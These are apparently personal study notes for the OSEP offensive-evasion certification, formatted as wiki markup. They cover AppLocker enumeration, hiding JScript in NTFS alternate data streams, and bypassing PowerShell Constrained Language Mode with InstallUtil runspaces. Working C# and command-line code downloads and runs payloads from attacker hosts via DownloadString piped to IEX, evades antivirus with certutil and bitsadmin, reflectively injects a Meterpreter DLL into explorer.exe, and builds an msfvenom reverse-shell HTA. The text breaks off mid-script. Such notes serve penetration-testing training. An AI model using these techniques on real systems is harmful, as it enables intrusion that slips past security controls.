== OSEP Notes Overview PT 1 by Joas ==&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf OSEP-Offensive-Security-Evasion-Professional-Notes-Overview][https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf Download]&lt;br /&gt;
== Mitre Framework ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TITLE&lt;br /&gt;
! URL&lt;br /&gt;
! SHORT DESCRIPTION&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Engage&lt;br /&gt;
| [https://engage.mitre.org/ https://engage.mitre.org/]&lt;br /&gt;
| MITRE Engage is a platform for collaboration and engagement in the cybersecurity community.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE ATT&amp;amp;CK&lt;br /&gt;
| [https://attack.mitre.org/ https://attack.mitre.org/]&lt;br /&gt;
| MITRE ATT&amp;amp;CK is a knowledge base for adversary tactics and techniques used in cyberattacks.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Cyber Analytics Repository (CAR)&lt;br /&gt;
| [https://car.mitre.org/ https://car.mitre.org/]&lt;br /&gt;
| CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE D3FEND&lt;br /&gt;
| [https://d3fend.mitre.org/ https://d3fend.mitre.org/]&lt;br /&gt;
| D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&amp;amp;CK.&lt;br /&gt;
|-&lt;br /&gt;
| Common Vulnerabilities and Exposures (CVE)&lt;br /&gt;
| [https://cve.mitre.org/ https://cve.mitre.org/]&lt;br /&gt;
| CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities.&lt;br /&gt;
|-&lt;br /&gt;
| Common Attack Pattern Enumeration and Classification (CAPEC)&lt;br /&gt;
| [https://capec.mitre.org/ https://capec.mitre.org/]&lt;br /&gt;
| CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity.&lt;br /&gt;
|-&lt;br /&gt;
| Common Weakness Enumeration (CWE)&lt;br /&gt;
| [https://cwe.mitre.org/ https://cwe.mitre.org/]&lt;br /&gt;
| CWE is a community-developed list of common software and hardware weaknesses.&lt;br /&gt;
|-&lt;br /&gt;
| Malware Attribute Enumeration and Characterization (MAEC)&lt;br /&gt;
| [https://maecproject.github.io/ https://maecproject.github.io/]&lt;br /&gt;
| MAEC is a project for standardizing the encoding and communication of malware characteristics.&lt;br /&gt;
|-&lt;br /&gt;
| CALDERA&lt;br /&gt;
| [https://caldera.mitre.org/ Caldera (mitre.org)]&lt;br /&gt;
| Empower cyber practitioners by saving time, money, and energy through automated security assessments​.&lt;br /&gt;
|}&lt;br /&gt;
== Impersonation vs delegation ==&lt;br /&gt;
* &#039;&#039;&#039;Impersonation Tokens&#039;&#039;&#039;: These tokens can be used to impersonate another user on the same system. You don&#039;t necessarily need SYSTEM privileges to obtain and use these tokens.&lt;br /&gt;
* &#039;&#039;&#039;Delegation Tokens&#039;&#039;&#039;: These tokens allow for impersonation across the network, such as accessing resources on another machine. Typically, obtaining delegation tokens requires higher privileges, like those of the SYSTEM account.&lt;br /&gt;
== Managed vs Unmanaged code ==&lt;br /&gt;
&#039;&#039;&#039;Managed Code:&#039;&#039;&#039; Think of managed code like living in an apartment building. You have a building manager who takes care of things like cleaning the halls, fixing broken stuff, and making sure everything is safe. You don&#039;t have to worry too much about these things because the manager handles them for you. In the same way, managed code runs in a system that takes care of tasks like cleaning up memory and keeping things secure.&lt;br /&gt;
&#039;&#039;&#039;Unmanaged Code:&#039;&#039;&#039; Now, imagine you&#039;re living in your own house. You&#039;re in charge of everything – cleaning, fixing, and making sure it&#039;s safe. You have more control, but you also have more responsibilities. Unmanaged code is like that – it gives you more control over how things work, but you have to handle tasks like cleaning up after yourself (managing memory) and making sure everything is secure.&lt;br /&gt;
== AppLocker Basics ==&lt;br /&gt;
=== Enumerate AppLocker ===&lt;br /&gt;
Enumerating AppLocker policies can provide insights into which applications, scripts, and files are allowed or denied from executing on a Windows system. This can be valuable for penetration testers and security analysts to find potential bypasses or weaknesses.&lt;br /&gt;
Here&#039;s a guide on how to enumerate AppLocker:&lt;br /&gt;
* &#039;&#039;&#039;Using PowerShell&#039;&#039;&#039;:&lt;br /&gt;
* View current AppLocker policies:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Effective -xml&amp;lt;/code&amp;gt;&lt;br /&gt;
* Check for any configured rules:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Local | Select -ExpandProperty RuleCollections&amp;lt;/code&amp;gt;&lt;br /&gt;
* &#039;&#039;&#039;Using Windows Event Viewer&#039;&#039;&#039;:&lt;br /&gt;
* AppLocker logs its events under &#039;Applications and Services Logs &amp;gt; Microsoft &amp;gt; Windows &amp;gt; AppLocker&#039;.&lt;br /&gt;
* Look for these event IDs:&lt;br /&gt;
8002: A rule was ignored because its conditions were incomplete.&lt;br /&gt;
* 8003: No AppLocker rules were applied because no rules are in the policy.&lt;br /&gt;
* 8004: AppLocker started enforcing rules.&lt;br /&gt;
* 8005: AppLocker stopped enforcing rules.&lt;br /&gt;
* 8006: AppLocker policy was changed.&lt;br /&gt;
* 8007: AppLocker encountered an error with a rule and continued processing rules.&lt;br /&gt;
* 8008: AppLocker policy was deleted.&lt;br /&gt;
* &#039;&#039;&#039;Using the Local Security Policy MMC&#039;&#039;&#039;:&lt;br /&gt;
* Go to &amp;lt;code&amp;gt;Start &amp;gt; Run&amp;lt;/code&amp;gt; and type &amp;lt;code&amp;gt;secpol.msc&amp;lt;/code&amp;gt;.&lt;br /&gt;
* In the Security Settings tree, go to &amp;lt;code&amp;gt;Application Control Policies &amp;gt; AppLocker&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &#039;&#039;&#039;Using Group Policy Editor&#039;&#039;&#039;:&lt;br /&gt;
* Go to &amp;lt;code&amp;gt;Start &amp;gt; Run&amp;lt;/code&amp;gt; and type &amp;lt;code&amp;gt;gpedit.msc&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Navigate to &amp;lt;code&amp;gt;Computer Configuration &amp;gt; Windows Settings &amp;gt; Security Settings &amp;gt; Application Control Policies &amp;gt; AppLocker&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &#039;&#039;&#039;Check for AppLocker&#039;s DLL Rules&#039;&#039;&#039;:&lt;br /&gt;
* Sometimes, administrators overlook DLL rules which can be used for bypasses.&lt;br /&gt;
* Use PowerShell to check DLL rules:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Effective | Select -ExpandProperty RuleCollections | Where-Object { $_.RuleType -eq &#039;DllRule&#039; }&amp;lt;/code&amp;gt;&lt;br /&gt;
* Using PowerUp.ps;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PS C:\&amp;gt;. .\PowerUp.ps1&lt;br /&gt;
PS C:\&amp;gt;Invoke-AllChecks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Identify Writeable folders ===&lt;br /&gt;
Many of these directories are writeable by default if applocker is enabled. Check with accesschk.exe.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find writeable folders&lt;br /&gt;
accesschk.exe &amp;quot;student&amp;quot; C:\Windows -wus&lt;br /&gt;
# Check Executable Permissions&lt;br /&gt;
icacls.exe C:\Windows\Tasks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This folder is used by the Task Scheduler to store scheduled tasks.&lt;br /&gt;
C:\Windows\Tasks&lt;br /&gt;
# Temporary files are stored in this directory. This is a common writable directory for all users.&lt;br /&gt;
C:\Windows\Temp&lt;br /&gt;
# Used for network tracing logs.&lt;br /&gt;
C:\Windows\tracing&lt;br /&gt;
# Related to the Component-Based Servicing (CBS) log. CBS is used in Windows servicing (Windows Update).&lt;br /&gt;
C:\Windows\Registration\CRMLog&lt;br /&gt;
# Related to fax services.&lt;br /&gt;
C:\Windows\System32\FxsTmp&lt;br /&gt;
# Also related to the Task Scheduler, but not typically writable for standard users by default.&lt;br /&gt;
C:\Windows\System32\Tasks&lt;br /&gt;
# This is where AppLocker configuration and event log data are stored.&lt;br /&gt;
C:\Windows\System32\AppLocker&lt;br /&gt;
# COM+ dump folder.&lt;br /&gt;
C:\Windows\System32\Com\dmp&lt;br /&gt;
# Contains cryptographic keys used by the OS.&lt;br /&gt;
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys&lt;br /&gt;
# Print spooler folder, where print jobs are temporarily stored.&lt;br /&gt;
C:\Windows\System32\spool\PRINTERS&lt;br /&gt;
# Another print spooler related directory.&lt;br /&gt;
C:\Windows\System32\spool\SERVERS&lt;br /&gt;
# Contains color profiles for devices.&lt;br /&gt;
C:\Windows\System32\spool\drivers\color&lt;br /&gt;
# Specific task related to OneDrive updates.&lt;br /&gt;
C:\Windows\System32\Tasks\OneDrive Standalone Update Task-...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Alternate Data Stream ===&lt;br /&gt;
* Alternate Data Streams (ADS) is a feature of the NTFS file system which represents all files as a stream of data.&lt;br /&gt;
* NTFS supports multiple streams, allowing the storage of metadata in binary file attributes.&lt;br /&gt;
* ADS can be exploited to bypass security features like AppLocker by embedding malicious scripts in trusted files.&lt;br /&gt;
Combine this technique with DotNetToJscript to get a meterpreter shell.&lt;br /&gt;
&#039;&#039;&#039;1. Creating a Simple Jscript for Proof of Concept&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var res = shell.Run(&amp;quot;cmd.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Save the above Jscript as  ​test.js​ .&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Finding a Writable and Executable File&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* A trusted location is required that has files both writable and executable.&lt;br /&gt;
&lt;br /&gt;
* Example: TeamViewer version 12 on the victim machine has a log file ( ​TeamViewer12_Logfile.log​ ) that meets the criteria.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Embedding the Jscript into an Alternate Data Stream (ADS)&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​type​  command to copy the content into an ADS of the trusted file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Users\student&amp;gt;type test.js &amp;gt; &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Verifying the Jscript in the Alternate Data Stream&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​dir /r​  command to validate the Jscript presence in the ADS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dir /r &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log&amp;quot;&lt;br /&gt;
 Volume in drive C has no label.&lt;br /&gt;
 Volume Serial Number is 2467-A865&lt;br /&gt;
&lt;br /&gt;
 Directory of C:\Program Files (x86)\TeamViewer&lt;br /&gt;
&lt;br /&gt;
09/25/2023  06:05 AM            62,790 TeamViewer12_Logfile.log&lt;br /&gt;
                                11,736 TeamViewer12_Logfile.log:demo.js:$DATA&lt;br /&gt;
               1 File(s)         62,790 bytes&lt;br /&gt;
               0 Dir(s)   8,034,390,016 bytes free&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The output should show the  ​TeamViewer12_Logfile.log:test.js:$DATA​  indicating successful writing to the alternate data stream.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Executing the Jscript from the Alternate Data Stream&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Double-clicking the icon for the log file ( ​TeamViewer12_Logfile.log​ ) opens it in Notepad as a standard log file.&lt;br /&gt;
&lt;br /&gt;
* To execute the embedded Jscript, run it from the command line using  ​wscript​  and specify the ADS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wscript &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== AppLocker Bypass Using Powershell ==&lt;br /&gt;
&lt;br /&gt;
=== Constrained Language Mode ===&lt;br /&gt;
&lt;br /&gt;
Constrained Language Mode is a security feature in PowerShell. It limits what scripts and commands can do to prevent potentially harmful actions. Think of it as putting training wheels on PowerShell – you can still ride, but you&#039;re restricted in what you can do to avoid dangerous situations.&lt;br /&gt;
&lt;br /&gt;
==== Enumerate CLM ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Custom Runspace ====&lt;br /&gt;
In PowerShell, a runspace is essentially an environment where PowerShell commands are executed. Think of it as a container or an isolated space where all the necessary components for executing commands are present.&lt;br /&gt;
The code below will execute in Full Language mode.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget&lt;br /&gt;
# Add a reference to  ​System.Configuration.Install​  in Visual Studio.&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            String cmd = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.1.126/run.txt&#039;) | IEX&amp;quot;;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== PowerShell CLM Bypass ====&lt;br /&gt;
Use only &amp;lt;code&amp;gt; ​uninstall&amp;lt;/code&amp;gt;​  as &amp;lt;code&amp;gt; ​install&amp;lt;/code&amp;gt;​  requires admin privileges.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;This is the main method which is a decoy&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    [System.ComponentModel.RunInstaller(true)]&lt;br /&gt;
    public class Sample : System.Configuration.Install.Installer&lt;br /&gt;
    {&lt;br /&gt;
        public override void Uninstall(System.Collections.IDictionary savedState)&lt;br /&gt;
        {&lt;br /&gt;
            String cmd  = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.1.126/run.txt&#039;) | IEX&amp;quot;;&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
To execute the code above&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
===== Bypassing Antivirus =====&lt;br /&gt;
* Download and obfuscate the executable with Base64 encoding using  ​certutil​  on the development Windows machine&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
certutil -encode&lt;br /&gt;
 C:\Users\kali\source\repos\Bypass\Bypass\bin\x64\Release\Bypass.exe file.txt&lt;br /&gt;
Input Length = 5120&lt;br /&gt;
Output Length = 7098&lt;br /&gt;
CertUtil: -encode command completed successfully.&lt;br /&gt;
C:\Users\Offsec&amp;gt;type file.txt&lt;br /&gt;
-----BEGIN CERTIFICATE-----&lt;br /&gt;
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;br /&gt;
AAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v&lt;br /&gt;
dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYCAHFjntgAAAAA&lt;br /&gt;
AAAAAPAAIgALAjAAAAwAAAAGAAAAAAAAAAAAAAAgAAAAAABAAQAAAAAgAAAAAgAA&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
IMPORTANT!! The file need to be hosted using Apache2, not Python HTTP server because python http server does not have the correct header.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Unable to complete transfer.&lt;br /&gt;
ERROR FILE:    http://192.168.45.198/file.txt -&amp;gt; C:\users\student\enc.txt&lt;br /&gt;
ERROR CODE:    0x80200013 - The server does not support the necessary HTTP protocol. Background Intelligent Transfer Se&lt;br /&gt;
ERROR CONTEXT: 0x00000005 - The error occurred while the remote file was being processed.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
* Decode it on disk using  ​certutil -decode​ .&lt;br /&gt;
* Use  ​bitsadmin​  for the downloading.&lt;br /&gt;
* &#039;&#039;&#039;Combining Commands&#039;&#039;&#039;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bitsadmin /Transfer myJob http://192.168.119.120/file.txt C:\users\student\enc.txt &amp;amp;&amp;amp; certutil -decode C:\users\student\enc.txt C:\users\student\Bypass.exe &amp;amp;&amp;amp; del C:\users\student\enc.txt &amp;amp;&amp;amp; C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\users\student\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[File:2023-09-image-3.png|thumb]]&lt;br /&gt;
==== Bypass CLM using Meterpreter Powershell_execute ====&lt;br /&gt;
You can bypass CLM using meterpreters &amp;lt;code&amp;gt;load powershell&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; load powershell&lt;br /&gt;
meterpreter &amp;gt; powershell_execute $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[+] Command execution completed:&lt;br /&gt;
FullLanguage&lt;br /&gt;
meterpreter &amp;gt; shell&lt;br /&gt;
Process 6960 created.&lt;br /&gt;
Channel 4 created.&lt;br /&gt;
Microsoft Windows [Version 10.0.18363.900]&lt;br /&gt;
(c) 2019 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt;powershell&lt;br /&gt;
powershell&lt;br /&gt;
Windows PowerShell&lt;br /&gt;
Copyright (C) Microsoft Corporation. All rights reserved.&lt;br /&gt;
Try the new cross-platform PowerShell https://aka.ms/pscore6&lt;br /&gt;
PS C:\Windows\system32&amp;gt;&lt;br /&gt;
PS C:\Windows\system32&amp;gt; $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
ConstrainedLanguage&lt;br /&gt;
PS C:\Windows\system32&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== Bypass-clm script form github ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/calebstewart/bypass-clm GitHub - calebstewart/bypass-clm: PowerShell Constrained Language Mode Bypass]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U &amp;quot;C:\Windows\Tasks\bypass-clm.exe&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== CLMroute - Github repo ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/aress31/clm-rout GitHub - aress31/clm-rout: A C# program featuring an all-in-one bypass for CLM, AppLocker and AMSI using Runspace.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /cmd=&amp;quot;whoami /priv&amp;quot; C:\windows\tasks\clmr.exe&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /url=&amp;quot;http://192.168.45.180/PowerUpSQL.ps1&amp;quot; /cmd=&amp;quot;Get-SQLInstanceLocal -Verbose&amp;quot; C:\windows\tasks\clmr.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reflective injection ====&lt;br /&gt;
The technique above will write files to disk. In order to avoid that we will use Invoke-ReflectivePEInjection.ps1.&lt;br /&gt;
This method will Bypass AppLocker and use Reflective DLL Injection with InstallUtil.&lt;br /&gt;
* &#039;&#039;&#039;Generate a 64-bit Meterpreter DLL&#039;&#039;&#039;: This will be our payload.&lt;br /&gt;
* &#039;&#039;&#039;Host Meterpreter DLL on Kali Apache server&#039;&#039;&#039;.&lt;br /&gt;
* &#039;&#039;&#039;Upload  ​Invoke-ReflectivePEInjection.ps1​ &#039;&#039;&#039; (Don&#039;t use the Github version, use the one from Offsec) to the Apache server.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;This is the main method which is a decoy&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    [System.ComponentModel.RunInstaller(true)]&lt;br /&gt;
    public class Sample : System.Configuration.Install.Installer&lt;br /&gt;
    {&lt;br /&gt;
        public override void Uninstall(System.Collections.IDictionary savedState)&lt;br /&gt;
        {&lt;br /&gt;
            String cmd = &amp;quot;$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.45.198/met.dll&#039;); (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.198/Invoke-ReflectivePEInjection.ps1&#039;) | IEX; $procid = (Get-Process -Name explorer).Id; Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&amp;quot;;&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
To execute the above on target machine, use the command&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[File:2023-09-image-4.png|thumb]]&lt;br /&gt;
[[File:2023-09-image-5.png|thumb]]&lt;br /&gt;
== AppLocker Bypass Using JScript ==&lt;br /&gt;
&lt;br /&gt;
=== JScript and HTA ===&lt;br /&gt;
&lt;br /&gt;
See also &amp;quot;Droppers&amp;quot; and HTA.&lt;br /&gt;
&lt;br /&gt;
* Microsoft HTML Applications (MSHTA) execute  ​&amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;​  files using  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​ .&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;​  files can have embedded JScript or VBS code.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​  is commonly whitelisted because it&#039;s in  ​&amp;lt;code&amp;gt;C:\Windows\System32&amp;lt;/code&amp;gt;​  and is a signed Microsoft application.&lt;br /&gt;
&lt;br /&gt;
* Using  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​  can bypass whitelisting as an alternative to  &amp;lt;code&amp;gt;​wscript.exe&amp;lt;/code&amp;gt;​ .&lt;br /&gt;
&lt;br /&gt;
Create a shortcut file on Windows target and create a &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt; file. For example, you can you use msfvenom&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443  -f hta-psh -o index.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This will most likely be stopped by Antivirus. So another technique is to use ProcessHollowing with XOR and DotNetToJscript, and then use HTML smuggeling.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;How to get a meterpreter shell using Jscript and MSHTA&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Step 1 - Create a Csharp process hollow or process injection or whatever suits you with XOR encryption to avoid detection.&lt;br /&gt;
&lt;br /&gt;
Step 2 - Then use DotNetToJs to generate a jscript file. You will have to serve the jscript file using hta.&lt;br /&gt;
&lt;br /&gt;
Step 3 - To do this add HTML tags to the &amp;lt;code&amp;gt;.js&amp;lt;/code&amp;gt; file and change the extension to &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;. Call it index.hta.&lt;br /&gt;
&lt;br /&gt;
The code below is the outputted DotNetToJs jscript file but the the &amp;lt;html&amp;gt; tags added.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function setversion() {&lt;br /&gt;
new ActiveXObject(&#039;WScript.Shell&#039;).Environment(&#039;Process&#039;)(&#039;COMPLUS_Version&#039;) = &#039;v4.0.30319&#039;;&lt;br /&gt;
}&lt;br /&gt;
function debug(s) {}&lt;br /&gt;
function base64ToStream(b) {&lt;br /&gt;
    var enc = new ActiveXObject(&amp;quot;System.Text.ASCIIEncoding&amp;quot;);&lt;br /&gt;
    var length = enc.GetByteCount_2(b);&lt;br /&gt;
    var ba = enc.GetBytes_4(b);&lt;br /&gt;
    var transform = new ActiveXObject(&amp;quot;System.Security.Cryptography.FromBase64Transform&amp;quot;);&lt;br /&gt;
